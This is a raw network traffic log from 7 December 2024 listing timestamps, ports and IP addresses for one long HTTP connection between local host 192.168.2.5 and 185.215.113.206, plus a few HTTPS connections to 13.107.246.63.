Dec 7, 2024 08:43:40.045852900 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.045901060 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.046534061 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.046572924 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.046672106 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.046715021 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.047328949 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.047377110 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.196329117 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.196410894 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.196420908 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.196460009 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.196679115 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.196726084 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.196893930 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.196943045 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.197542906 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.197590113 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.197592020 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.197638988 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.198409081 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.198462009 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.198538065 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.198587894 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.199246883 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.199295044 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.199368000 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.199414968 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.200064898 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.200114012 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.200179100 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.200227022 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.200913906 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.200963020 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.201037884 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.201086044 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.201747894 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.201802015 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.201828957 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.201875925 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.202665091 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.202676058 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.202717066 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.203491926 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.203540087 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.203577995 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.203617096 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.204288006 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.204344034 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.204375029 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.204420090 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.205152988 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.205193043 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.205257893 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.205303907 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.205986023 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.206031084 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.206060886 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.206100941 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.206829071 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.206877947 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.206934929 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.206979036 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.207674026 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.207717896 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.207814932 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.207859993 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.208513975 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.208561897 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.208636045 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.208679914 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.209364891 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.209410906 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.209533930 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.209585905 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.210182905 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.210230112 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.210310936 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.210356951 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.211045980 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.211091042 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.211169004 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.211215019 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.211910009 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.211954117 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.212016106 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.212061882 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.212713003 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.212762117 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.212821007 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.212867022 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.213552952 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.213598013 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.213660955 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.213705063 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.214415073 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.214459896 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.214498997 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.214545965 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.215271950 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.215337038 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.215399027 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.215441942 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.216128111 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.216176033 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.216253042 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.216300011 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.216955900 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.217004061 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.217015028 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.217058897 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.217793941 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.217837095 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.217895031 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.217941046 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.218657017 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.218703985 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.218770981 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.218815088 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.219530106 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.219573975 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.219646931 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.219698906 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.220335007 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.220385075 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.220443964 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.220495939 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.221184015 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.221232891 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.221373081 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.221422911 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.222031116 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.222096920 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.222126007 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.222170115 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.222842932 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.222891092 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.222948074 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.222982883 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.223728895 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.223773003 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.223800898 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.223839045 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.224530935 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.224575043 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.224680901 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.224723101 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.225621939 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.225677013 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.225708961 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.225747108 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.226222992 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.226281881 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.226404905 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.226453066 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.227097988 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.227202892 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.227225065 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.227241993 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.227929115 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.227984905 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.228022099 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.228069067 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.228751898 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.228809118 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.228836060 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.228877068 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.229608059 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.229665041 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.229696035 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.229743004 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.230428934 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.230485916 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.230516911 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.230560064 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.230582952 CET	443	49770	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.231112003 CET	49770	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.231127024 CET	443	49770	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.231322050 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.231365919 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.231393099 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.231432915 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.231585979 CET	49770	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.231591940 CET	443	49770	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.232165098 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.232219934 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.232250929 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.232299089 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.232978106 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.233047962 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.233076096 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.233134031 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.233817101 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.233859062 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.233908892 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.233949900 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.234672070 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.234709024 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.234785080 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.234844923 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.235538960 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.235584974 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.235631943 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.235672951 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.236344099 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.236383915 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.236448050 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.236484051 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.237190008 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.237231970 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.237303019 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.237346888 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.238063097 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.238101959 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.238168955 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.238208055 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.238910913 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.238962889 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.239008904 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.239047050 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.239712000 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.239752054 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.239809990 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.239850044 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.240514040 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.240556955 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.299761057 CET	443	49771	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.300302029 CET	49771	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.300312042 CET	443	49771	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.300782919 CET	49771	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.300787926 CET	443	49771	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.388830900 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.388854027 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.388931990 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.388964891 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.389062881 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.389107943 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.389147997 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.389189959 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.389894962 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.389945030 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.390036106 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.390078068 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.390746117 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.390799999 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.390819073 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.390861988 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.391583920 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.391634941 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.391699076 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.391740084 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.392457962 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.392504930 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.392529964 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.392571926 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.393261909 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.393310070 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.393389940 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.393436909 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.394134045 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.394179106 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.394236088 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.394284964 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.395056963 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.395102978 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.395136118 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.395183086 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.395797014 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.395844936 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.395894051 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.395932913 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.396641970 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.396687984 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.396752119 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.396796942 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.397481918 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.397526979 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.397552013 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.397589922 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.398318052 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.398366928 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.398427963 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.398474932 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.399220943 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.399270058 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.399283886 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.399328947 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.400038004 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.400083065 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.400206089 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.400254965 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.400852919 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.400897980 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.400923967 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.400957108 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.401700974 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.401747942 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.401808977 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.401849031 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.402590036 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.402635098 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.402662039 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.402703047 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.403388977 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.403434992 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.403508902 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.403564930 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.404247046 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.404292107 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.404433966 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.404484034 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.405082941 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.405133009 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.405194044 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.405234098 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.405937910 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.405985117 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.406053066 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.406095028 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.406773090 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.406819105 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.406985044 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.407027960 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.407617092 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.407687902 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.407716990 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.407763958 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.408457041 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.408500910 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.408584118 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.408628941 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.409323931 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.409370899 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.409512043 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.409557104 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.410136938 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.410181999 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.410247087 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.410290956 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.410996914 CET	80	49759	185.215.113.206	192.168.2.5
